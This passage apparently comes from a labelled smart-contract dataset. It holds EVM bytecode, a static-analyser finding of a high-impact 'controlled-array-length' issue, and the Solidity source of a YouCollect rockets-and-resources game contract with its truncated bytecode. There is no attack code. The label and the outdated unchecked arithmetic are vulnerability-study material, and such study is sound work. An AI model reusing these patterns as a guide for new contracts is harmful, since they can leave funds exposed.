01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061168b57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116d657fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611799576001600160a01b03821660009081526005602052604090208054600019810190811061173857fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061177657fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117c2906000198301611bc1565b505b6001016115b0565b5050565b60006117dd848484611a8b565b6001600160a01b038416600090815260016020908152604080832033808552925290912054611818918691610730908663ffffffff61196416565b5060019392505050565b6000828201838110156109e75760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118e257604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d506021913960400191505060405180910390fd5b6002546118f5908263ffffffff61196416565b6002556001600160a01b038216600090815260208190526040902054611921908263ffffffff61196416565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d30833981519152929081900390910190a35050565b6000828211156119be5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105e9338484611a8b565b6001600160a01b038116611a2f5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ad357604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d716025913960400191505060405180910390fd5b6001600160a01b038216611b1b57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611ceb6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b44908263ffffffff61196416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b79908263ffffffff61182216565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d3083398151915292918290030190a3505050565b815481835581811115610c9757600083815260209020610c97916105f69160029182028101918502015b80821115611c055760008082556001820155600201611beb565b5090565b6001600160a01b038216611c675760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c7a908263ffffffff61182216565b6002556001600160a01b038216600090815260208190526040902054611ca6908263ffffffff61182216565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d308339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058203a3dbe4875ba2b73bd4d4df20bfbce2f4ed387a45465cc6dd35b5a574ba680500029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,446
0xb84c7a87be5473ce105af1dd60bf296769bed6d3
pragma solidity ^0.4.18; contract InterfaceContentCreatorUniverse { function ownerOf(uint256 _tokenId) public view returns (address _owner); function priceOf(uint256 _tokenId) public view returns (uint256 price); function getNextPrice(uint price, uint _tokenId) public pure returns (uint); function lastSubTokenBuyerOf(uint tokenId) public view returns(address); function lastSubTokenCreatorOf(uint tokenId) public view returns(address); // function createCollectible(uint256 tokenId, uint256 _price, address creator, address owner) external ; } contract InterfaceYCC { function payForUpgrade(address user, uint price) external returns (bool success); function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external returns (bool success); function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external; function payoutForMining(address user, uint amount) external; uint256 public totalSupply; } contract InterfaceMining { function createMineForToken(uint tokenId, uint level, uint xp, uint nextLevelBreak, uint blocknumber) external; function payoutMining(uint tokenId, address owner, address newOwner) external; function levelUpMining(uint tokenId) external; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned { // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; address private newCeoAddress; address private newCooAddress; function Owned() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /*** ACCESS MODIFIERS ***/ /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); newCeoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current COO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); newCooAddress = _newCOO; } function acceptCeoOwnership() public { require(msg.sender == newCeoAddress); require(address(0) != newCeoAddress); ceoAddress = newCeoAddress; newCeoAddress = address(0); } function acceptCooOwnership() public { require(msg.sender == newCooAddress); require(address(0) != newCooAddress); cooAddress = newCooAddress; newCooAddress = address(0); } mapping (address => bool) public youCollectContracts; function addYouCollectContract(address contractAddress, bool active) public onlyCOO { youCollectContracts[contractAddress] = active; } modifier onlyYCC() { require(youCollectContracts[msg.sender]); _; } InterfaceYCC ycc; InterfaceContentCreatorUniverse yct; InterfaceMining ycm; function setMainYouCollectContractAddresses(address yccContract, address yctContract, address ycmContract, address[] otherContracts) public onlyCOO { ycc = InterfaceYCC(yccContract); yct = InterfaceContentCreatorUniverse(yctContract); ycm = InterfaceMining(ycmContract); youCollectContracts[yccContract] = true; youCollectContracts[yctContract] = true; youCollectContracts[ycmContract] = true; for (uint16 index = 0; index < otherContracts.length; index++) { youCollectContracts[otherContracts[index]] = true; } } function setYccContractAddress(address yccContract) public onlyCOO { ycc = InterfaceYCC(yccContract); youCollectContracts[yccContract] = true; } function setYctContractAddress(address yctContract) public onlyCOO { yct = InterfaceContentCreatorUniverse(yctContract); youCollectContracts[yctContract] = true; } function setYcmContractAddress(address ycmContract) public onlyCOO { ycm = InterfaceMining(ycmContract); youCollectContracts[ycmContract] = true; } } contract TransferInterfaceERC721YC { function transferToken(address to, uint256 tokenId) public returns (bool success); } contract TransferInterfaceERC20 { function transfer(address to, uint tokens) public returns (bool success); } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol // ---------------------------------------------------------------------------- contract YouCollectBase is Owned { using SafeMath for uint256; event RedButton(uint value, uint totalSupply); // Payout function payout(address _to) public onlyCLevel { _payout(_to, this.balance); } function payout(address _to, uint amount) public onlyCLevel { if (amount>this.balance) amount = this.balance; _payout(_to, amount); } function _payout(address _to, uint amount) private { if (_to == address(0)) { ceoAddress.transfer(amount); } else { _to.transfer(amount); } } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCEO returns (bool success) { return TransferInterfaceERC20(tokenAddress).transfer(ceoAddress, tokens); } } contract InterfaceSpawn { uint public totalVotes; function getVotes(uint id) public view returns (uint _votes); } contract RocketsAndResources is YouCollectBase { InterfaceSpawn subcontinentDiscoveryVoting; event RocketLaunch(uint _rocketTokenId); event RocketAddFunds(uint _rocketTokenId, uint _res, uint _yccAmount, address _sender); event ResourcesDiscovered(uint _cityTokenId); event ResourcesTransfered(uint cityTokenId, uint _rocketTokenId, uint _res, uint _count); // --------------------------- // Configuration bool public contractActive = false; uint discoveryCooldownMin = 1500; uint discoveryCooldownMax = 6000; uint discoveryPriceMin = 2000000000000000000000000; uint discoveryPriceMax = 25000000000000000000000000; uint rocketTravelTimeA = 10000; // in resource-traveltime-formula A/x uint rocketTravelTimeMinBlocks = 24000; // added to traveltimes of resources uint rocketEarliestLaunchTime; // --------------------------- mapping (uint => uint) discoveryLastBlock; mapping (uint => uint[]) cityResourceRichness; // eg [1, 6, 0, 0] --- gets added to resource-counts on discovery mapping (uint => uint[]) cityResourceCount; mapping (uint => uint[]) rocketResourceCount; mapping (uint => uint[]) rocketResourceYccFunds; mapping (uint => uint[]) rocketResourcePrices; mapping (uint => uint) rocketLaunchBlock; // when owner launched the rocket mapping (uint => uint) rocketTravelTimeAtLaunch; // when launched, we record the travel time (in case we change params in the formula) mapping (uint => uint) rocketTravelTimeIncrease; uint64 constant MAX_SUBCONTINENT_INDEX = 10000000000000; function RocketsAndResources() public { rocketEarliestLaunchTime = block.number + 36000; // earliest launch is 6 days after contract deploy } function setSubcontinentDiscoveryVotingContract(address spawnContract) public onlyCOO { subcontinentDiscoveryVoting = InterfaceSpawn(spawnContract); } function setContractActive(bool contractActive_) public onlyCOO { contractActive = contractActive_; } function setConfiguration( uint discoveryCooldownMin_, uint discoveryCooldownMax_, uint discoveryPriceMin_, uint discoveryPriceMax_, uint rocketEarliestLaunchTime_, uint rocketTravelTimeA_, uint rocketTravelTimeMinBlocks_ ) public onlyYCC { discoveryCooldownMin = discoveryCooldownMin_; discoveryCooldownMax = discoveryCooldownMax_; discoveryPriceMin = discoveryPriceMin_; discoveryPriceMax = discoveryPriceMax_; rocketEarliestLaunchTime = rocketEarliestLaunchTime_; rocketTravelTimeA = rocketTravelTimeA_; rocketTravelTimeMinBlocks = rocketTravelTimeMinBlocks_; } function setCityValues(uint[] cityTokenIds_, uint resourceLen_, uint[] resourceRichness_, uint[] resourceCounts_) public onlyYCC { uint len = cityTokenIds_.length; for (uint i = 0; i < len; i++) { uint city = cityTokenIds_[i]; uint resourceBaseIdx = i * resourceLen_; cityResourceRichness[city] = new uint[](resourceLen_); cityResourceCount[city] = new uint[](resourceLen_); for (uint j = 0; j < resourceLen_; j++) { cityResourceRichness[city][j] = resourceRichness_[resourceBaseIdx + j]; cityResourceCount[city][j] = resourceCounts_[resourceBaseIdx + j]; } } } function setRocketValues(uint[] rocketTokenIds_, uint resourceLen_, uint[] resourceYccFunds_, uint[] resourcePrices_, uint[] resourceCounts_) public onlyYCC { uint len = rocketTokenIds_.length; for (uint i = 0; i < len; i++) { uint rocket = rocketTokenIds_[i]; uint resourceBaseIdx = i * resourceLen_; rocketResourceCount[rocket] = new uint[](resourceLen_); rocketResourcePrices[rocket] = new uint[](resourceLen_); rocketResourceYccFunds[rocket] = new uint[](resourceLen_); for (uint j = 0; j < resourceLen_; j++) { rocketResourceCount[rocket][j] = resourceCounts_[resourceBaseIdx + j]; rocketResourcePrices[rocket][j] = resourcePrices_[resourceBaseIdx + j]; rocketResourceYccFunds[rocket][j] = resourceYccFunds_[resourceBaseIdx + j]; } } } function getCityResources(uint cityTokenId_) public view returns (uint[] _resourceCounts) { _resourceCounts = cityResourceCount[cityTokenId_]; } function getCityResourceRichness(uint cityTokenId_) public onlyYCC view returns (uint[] _resourceRichness) { _resourceRichness = cityResourceRichness[cityTokenId_]; } function cityTransferResources(uint cityTokenId_, uint rocketTokenId_, uint res_, uint count_) public { require(contractActive); require(yct.ownerOf(cityTokenId_)==msg.sender); uint yccAmount = rocketResourcePrices[rocketTokenId_][res_] * count_; require(cityResourceCount[cityTokenId_][res_] >= count_); require(rocketResourceYccFunds[rocketTokenId_][res_] >= yccAmount); cityResourceCount[cityTokenId_][res_] -= count_; rocketResourceCount[rocketTokenId_][res_] += count_; rocketResourceYccFunds[rocketTokenId_][res_] -= yccAmount; ycc.payoutForMining(msg.sender, yccAmount); ResourcesTransfered(cityTokenId_, rocketTokenId_, res_, count_); } /* Resource Discovery */ function discoveryCooldown(uint cityTokenId_) public view returns (uint _cooldownBlocks) { uint totalVotes = subcontinentDiscoveryVoting.totalVotes(); if (totalVotes <= 0) totalVotes = 1; uint range = discoveryCooldownMax-discoveryCooldownMin; uint subcontinentId = cityTokenId_ % MAX_SUBCONTINENT_INDEX; _cooldownBlocks = range - (subcontinentDiscoveryVoting.getVotes(subcontinentId).mul(range)).div(totalVotes) + discoveryCooldownMin; } function discoveryPrice(uint cityTokenId_) public view returns (uint _price) { uint totalVotes = subcontinentDiscoveryVoting.totalVotes(); if (totalVotes <= 0) totalVotes = 1; uint range = discoveryPriceMax-discoveryPriceMin; uint subcontinentId = cityTokenId_ % MAX_SUBCONTINENT_INDEX; _price = range - (subcontinentDiscoveryVoting.getVotes(subcontinentId).mul(range)).div(totalVotes) + discoveryPriceMin; } function discoveryBlocksUntilAllowed(uint cityTokenId_) public view returns (uint _blocks) { uint blockNextDiscoveryAllowed = discoveryLastBlock[cityTokenId_] + discoveryCooldown(cityTokenId_); if (block.number > blockNextDiscoveryAllowed) { _blocks = 0; } else { _blocks = blockNextDiscoveryAllowed - block.number; } } function discoverResources(uint cityTokenId_) public { require(contractActive); require(discoveryBlocksUntilAllowed(cityTokenId_) == 0); uint yccAmount = this.discoveryPrice(cityTokenId_); ycc.payForUpgrade(msg.sender, yccAmount); discoveryLastBlock[cityTokenId_] = block.number; uint resourceRichnessLen = cityResourceRichness[cityTokenId_].length; for (uint i = 0; i < resourceRichnessLen; i++) { cityResourceCount[cityTokenId_][i] += cityResourceRichness[cityTokenId_][i]; } ResourcesDiscovered(cityTokenId_); } /* Rockets */ function rocketTravelTimeByResource(uint rocketTokenId_, uint res_) public view returns (uint _blocks) { _blocks = rocketTravelTimeA * 6000 / rocketResourceCount[rocketTokenId_][res_]; } function rocketTravelTime(uint rocketTokenId_) public view returns (uint _travelTimeBlocks) { _travelTimeBlocks = rocketTravelTimeMinBlocks + rocketTravelTimeIncrease[rocketTokenId_]; uint resourceLen = rocketResourceCount[rocketTokenId_].length; for (uint i = 0; i < resourceLen; i++) { _travelTimeBlocks += rocketTravelTimeA * 6000 / rocketResourceCount[rocketTokenId_][i]; } } function rocketBlocksUntilAllowedToLaunch() public view returns (uint _blocksUntilAllowed) { if (block.number > rocketEarliestLaunchTime) { _blocksUntilAllowed = 0; } else { _blocksUntilAllowed = rocketEarliestLaunchTime - block.number; } } function rocketIsLaunched(uint rocketTokenId_) public view returns (bool _isLaunched) { _isLaunched = rocketLaunchBlock[rocketTokenId_] > 0; } function rocketArrivalTime(uint rocketTokenId_) public view returns (uint) { require(rocketLaunchBlock[rocketTokenId_] > 0); return rocketLaunchBlock[rocketTokenId_] + rocketTravelTimeAtLaunch[rocketTokenId_]; } function increaseArrivalTime(uint rocketTokenId_, uint blocks) public onlyYCC { if (rocketLaunchBlock[rocketTokenId_] > 0) rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTimeAtLaunch[rocketTokenId_] + blocks; else rocketTravelTimeIncrease[rocketTokenId_] = rocketTravelTimeIncrease[rocketTokenId_] + blocks; } function decreaseArrivalTime(uint rocketTokenId_, uint blocks) public onlyYCC { if (rocketLaunchBlock[rocketTokenId_] > 0) rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTimeAtLaunch[rocketTokenId_] - blocks; else rocketTravelTimeIncrease[rocketTokenId_] = rocketTravelTimeIncrease[rocketTokenId_] - blocks; } function rocketTimeUntilMoon(uint rocketTokenId_) public view returns (uint _untilMoonBlocks) { uint arrivalTime = rocketArrivalTime(rocketTokenId_); if (block.number > arrivalTime) { _untilMoonBlocks = 0; } else { _untilMoonBlocks = arrivalTime - block.number; } } function rocketGetResourceValues(uint rocketTokenId_) public view returns (uint[] _yccAmounts, uint[] _resourcePrices, uint[] _resourceCounts) { _yccAmounts = rocketResourceYccFunds[rocketTokenId_]; _resourcePrices = rocketResourcePrices[rocketTokenId_]; _resourceCounts = rocketResourceCount[rocketTokenId_]; } function rocketSetResourcePrice(uint rocketTokenId_, uint res_, uint yccPrice_) public { require(contractActive); require(yct.ownerOf(rocketTokenId_)==msg.sender); require(yccPrice_ > 0); rocketResourcePrices[rocketTokenId_][res_] = yccPrice_; } function rocketAddFunds(uint rocketTokenId_, uint res_, uint yccAmount_) public { require(contractActive); ycc.payForUpgrade(msg.sender, yccAmount_); rocketResourceYccFunds[rocketTokenId_][res_] += yccAmount_; RocketAddFunds(rocketTokenId_, res_, yccAmount_, msg.sender); } function rocketLaunch(uint rocketTokenId_) public { require(contractActive); require(block.number > rocketEarliestLaunchTime); require(yct.ownerOf(rocketTokenId_)==msg.sender); rocketLaunchBlock[rocketTokenId_] = block.number; rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTime(rocketTokenId_); RocketLaunch(rocketTokenId_); } }
0x6060604052600436106101d45763ffffffff60e060020a6000350416630761c57a81146101d95780630a0f8168146101fe5780630b7e9c441461022d5780630f8a88871461024e5780631136aa641461026a578063117de2fd1461028057806312f3d1e0146102a2578063172ce8d3146102b8578063229063fc146102eb578063255884ae1461030157806327d7874c146103175780632ba73c15146103365780632fffe0dd14610355578063319a30d41461036b5780633b20c3f314610393578063450a9105146103a95780635bd5e89c146103c85780635e25f96d146103e15780635ef505c01461040057806360ee66c91461041657806367669e291461043557806380a15ad91461044b57806380e039f91461056357806382a147cd1461065757806386f7993e1461067b578063927e434b1461068e57806392e18d9f146106aa57806394224066146106c9578063970388b5146107a157806397ea403d146107b9578063a7cc440e14610822578063aaa05e2014610838578063b047fb5014610857578063b4c5c9831461086a578063b6fef44c146108d6578063bb35f7ee146108ef578063dc39d06d14610908578063e289fcb61461092a578063f35ba5d31461093d578063f7749e3214610950575b600080fd5b34156101e457600080fd5b6101ec610966565b60405190815260200160405180910390f35b341561020957600080fd5b610211610985565b604051600160a060020a03909116815260200160405180910390f35b341561023857600080fd5b61024c600160a060020a0360043516610994565b005b341561025957600080fd5b61024c6004356024356044356109e1565b341561027557600080fd5b6101ec600435610ab9565b341561028b57600080fd5b61024c600160a060020a0360043516602435610b2e565b34156102ad57600080fd5b61024c600435610b91565b34156102c357600080fd5b6102d7600160a060020a0360043516610d67565b604051901515815260200160405180910390f35b34156102f657600080fd5b6101ec600435610d7c565b341561030c57600080fd5b6101ec600435610ea9565b341561032257600080fd5b61024c600160a060020a0360043516610f96565b341561034157600080fd5b61024c600160a060020a0360043516610fe8565b341561036057600080fd5b6101ec60043561103a565b341561037657600080fd5b61024c60043560243560443560643560843560a43560c435611075565b341561039e57600080fd5b61024c6004356110bc565b34156103b457600080fd5b61024c600160a060020a03600435166111cb565b34156103d357600080fd5b61024c600435602435611220565b34156103ec57600080fd5b61024c600160a060020a036004351661128f565b341561040b57600080fd5b6101ec6004356112e4565b341561042157600080fd5b61024c600160a060020a0360043516611320565b341561044057600080fd5b6102d760043561135d565b341561045657600080fd5b61024c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001909190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061137095505050505050565b341561056e57600080fd5b610579600435611570565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156105c15780820151838201526020016105a9565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156106005780820151838201526020016105e8565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561063f578082015183820152602001610627565b50505050905001965050505050505060405180910390f35b341561066257600080fd5b61024c600160a060020a036004351660243515156116bb565b341561068657600080fd5b61024c611701565b341561069957600080fd5b61024c60043560243560443561175a565b34156106b557600080fd5b61024c600160a060020a0360043516611878565b34156106d457600080fd5b61024c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001909190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118cd95505050505050565b34156107ac57600080fd5b61024c6004351515611a4f565b34156107c457600080fd5b6107cf600435611a99565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561080e5780820151838201526020016107f6565b505050509050019250505060405180910390f35b341561082d57600080fd5b6107cf600435611b0a565b341561084357600080fd5b61024c600435602435604435606435611ba0565b341561086257600080fd5b610211611e29565b341561087557600080fd5b61024c60048035600160a060020a0390811691602480358316926044351691906084906064359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650611e3895505050505050565b34156108e157600080fd5b61024c600435602435611f35565b34156108fa57600080fd5b6101ec600435602435611fa2565b341561091357600080fd5b6102d7600160a060020a0360043516602435611fe0565b341561093557600080fd5b6102d7612083565b341561094857600080fd5b61024c612093565b341561095b57600080fd5b6101ec6004356120ec565b6000600f5443111561097a57506000610982565b43600f540390505b90565b600054600160a060020a031681565b60005433600160a060020a03908116911614806109bf575060015433600160a060020a039081169116145b15156109ca57600080fd5b6109de8130600160a060020a03163161210b565b50565b60085460a060020a900460ff1615156109f957600080fd5b600654600160a060020a033381169116636352211e8560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610a4e57600080fd5b6102c65a03f11515610a5f57600080fd5b50505060405180519050600160a060020a0316141515610a7e57600080fd5b60008111610a8b57600080fd5b6000838152601560205260409020805482919084908110610aa857fe5b600091825260209091200155505050565b600081815260186020908152604080832054600e546013909352908320549101915b81811015610b27576000848152601360205260409020805482908110610afd57fe5b906000526020600020900154600d5461177002811515610b1957fe5b049290920191600101610adb565b5050919050565b60005433600160a060020a0390811691161480610b59575060015433600160a060020a039081169116145b1515610b6457600080fd5b30600160a060020a031631811115610b835750600160a060020a033016315b610b8d828261210b565b5050565b6000806000600860149054906101000a900460ff161515610bb157600080fd5b610bba846112e4565b15610bc457600080fd5b30600160a060020a031663255884ae8560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610c1357600080fd5b6102c65a03f11515610c2457600080fd5b5050506040518051600554909450600160a060020a03169050638c9fcfe2338560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c9057600080fd5b6102c65a03f11515610ca157600080fd5b50505060405180515050506000838152601060209081526040808320439055601190915281205491505b81811015610d2e576000848152601160205260409020805482908110610ced57fe5b600091825260208083209091015486835260129091526040909120805483908110610d1457fe5b600091825260209091200180549091019055600101610ccb565b7fca246aed60d1b0f2ae3702e77ad71d2512ccc80b61b548bd6f5622232da9f9278460405190815260200160405180910390a150505050565b60046020526000908152604090205460ff1681565b600854600090819081908190600160a060020a0316630d15fd7782604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610dcc57600080fd5b6102c65a03f11515610ddd57600080fd5b505050604051805193505060008311610df557600192505b5050600954600a5460085490829003916509184e72a000860691610e9c908590610e90908690600160a060020a031663ff9810998760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e6957600080fd5b6102c65a03f11515610e7a57600080fd5b505050604051805191905063ffffffff61218416565b9063ffffffff6121ba16565b8303019350505050919050565b600854600090819081908190600160a060020a0316630d15fd7782604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ef957600080fd5b6102c65a03f11515610f0a57600080fd5b505050604051805193505060008311610f2257600192505b5050600b54600c5460085490829003916509184e72a000860691610e9c908590610e90908690600160a060020a031663ff9810998760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e6957600080fd5b60005433600160a060020a03908116911614610fb157600080fd5b600160a060020a0381161515610fc657600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461100357600080fd5b600160a060020a038116151561101857600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b60008181526016602052604081205481901161105557600080fd5b506000908152601760209081526040808320546016909252909120540190565b600160a060020a03331660009081526004602052604090205460ff16151561109c57600080fd5b600996909655600a94909455600b92909255600c55600f55600d55600e55565b60085460a060020a900460ff1615156110d457600080fd5b600f5443116110e257600080fd5b600654600160a060020a033381169116636352211e8360006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561113757600080fd5b6102c65a03f1151561114857600080fd5b50505060405180519050600160a060020a031614151561116757600080fd5b600081815260166020526040902043905561118181610ab9565b60008281526017602052604090819020919091557fe85b2afcc47cc4d349d6d44e405b880c7e24429a9879594d89d0018e8f4946009082905190815260200160405180910390a150565b60015433600160a060020a039081169116146111e657600080fd5b60068054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b600160a060020a03331660009081526004602052604090205460ff16151561124757600080fd5b600082815260166020526040812054111561127657600082815260176020526040902080548290039055610b8d565b6000828152601860205260409020805482900390555050565b60015433600160a060020a039081169116146112aa57600080fd5b60058054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b6000806112f083610d7c565b6000848152601060205260409020540190504381901115611314576000915061131a565b43810391505b50919050565b60015433600160a060020a0390811691161461133b57600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b6000908152601660205260408120541190565b600160a060020a033316600090815260046020526040812054819081908190819060ff16151561139f57600080fd5b89519450600093505b84841015611564578984815181106113bc57fe5b9060200190602002015192508884029150886040518059106113db5750595b9080825280602002602001820160405250600084815260136020526040902090805161140b9291602001906121d1565b508860405180591061141a5750595b9080825280602002602001820160405250600084815260156020526040902090805161144a9291602001906121d1565b50886040518059106114595750595b908082528060200260200182016040525060008481526014602052604090209080516114899291602001906121d1565b50600090505b888110156115595785818301815181106114a557fe5b9060200190602002015160008481526013602052604090208054839081106114c957fe5b60009182526020909120015586828201815181106114e357fe5b90602001906020020151600084815260156020526040902080548390811061150757fe5b600091825260209091200155878282018151811061152157fe5b90602001906020020151600084815260146020526040902080548390811061154557fe5b60009182526020909120015560010161148f565b6001909301926113a8565b50505050505050505050565b61157861221c565b61158061221c565b61158861221c565b601460008581526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156115e557602002820191906000526020600020905b8154815260200190600101908083116115d1575b505050505092506015600085815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561164957602002820191906000526020600020905b815481526020019060010190808311611635575b50505050509150601360008581526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156116ad57602002820191906000526020600020905b815481526020019060010190808311611699575b505050505090509193909250565b60015433600160a060020a039081169116146116d657600080fd5b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b60035433600160a060020a0390811691161461171c57600080fd5b600354600160a060020a0316151561173357600080fd5b6003805460018054600160a060020a0319908116600160a060020a03841617909155169055565b60085460a060020a900460ff16151561177257600080fd5b600554600160a060020a0316638c9fcfe2338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156117d157600080fd5b6102c65a03f115156117e257600080fd5b50505060405180515050600083815260146020526040902080548291908490811061180957fe5b6000918252602090912001805490910190557f2e1dcc2ebc91e005071a543c3e5276f235e739935fc1dc08df0706366c64ea57838383336040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a1505050565b60015433600160a060020a0390811691161461189357600080fd5b60078054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b600160a060020a033316600090815260046020526040812054819081908190819060ff1615156118fc57600080fd5b88519450600093505b84841015611a445788848151811061191957fe5b9060200190602002015192508784029150876040518059106119385750595b908082528060200260200182016040525060008481526011602052604090209080516119689291602001906121d1565b50876040518059106119775750595b908082528060200260200182016040525060008481526012602052604090209080516119a79291602001906121d1565b50600090505b87811015611a395786818301815181106119c357fe5b9060200190602002015160008481526011602052604090208054839081106119e757fe5b6000918252602090912001558582820181518110611a0157fe5b906020019060200201516000848152601260205260409020805483908110611a2557fe5b6000918252602090912001556001016119ad565b600190930192611905565b505050505050505050565b60015433600160a060020a03908116911614611a6a57600080fd5b6008805491151560a060020a0274ff000000000000000000000000000000000000000019909216919091179055565b611aa161221c565b60126000838152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611afe57602002820191906000526020600020905b815481526020019060010190808311611aea575b50505050509050919050565b611b1261221c565b600160a060020a03331660009081526004602052604090205460ff161515611b3957600080fd5b60116000838152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611afe5760200282019190600052602060002090815481526020019060010190808311611aea5750505050509050919050565b60085460009060a060020a900460ff161515611bbb57600080fd5b600654600160a060020a033381169116636352211e8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515611c1057600080fd5b6102c65a03f11515611c2157600080fd5b50505060405180519050600160a060020a0316141515611c4057600080fd5b6000848152601560205260409020805483919085908110611c5d57fe5b906000526020600020900154029050816012600087815260200190815260200160002084815481101515611c8d57fe5b6000918252602090912001541015611ca457600080fd5b6000848152601460205260409020805482919085908110611cc157fe5b6000918252602090912001541015611cd857600080fd5b6000858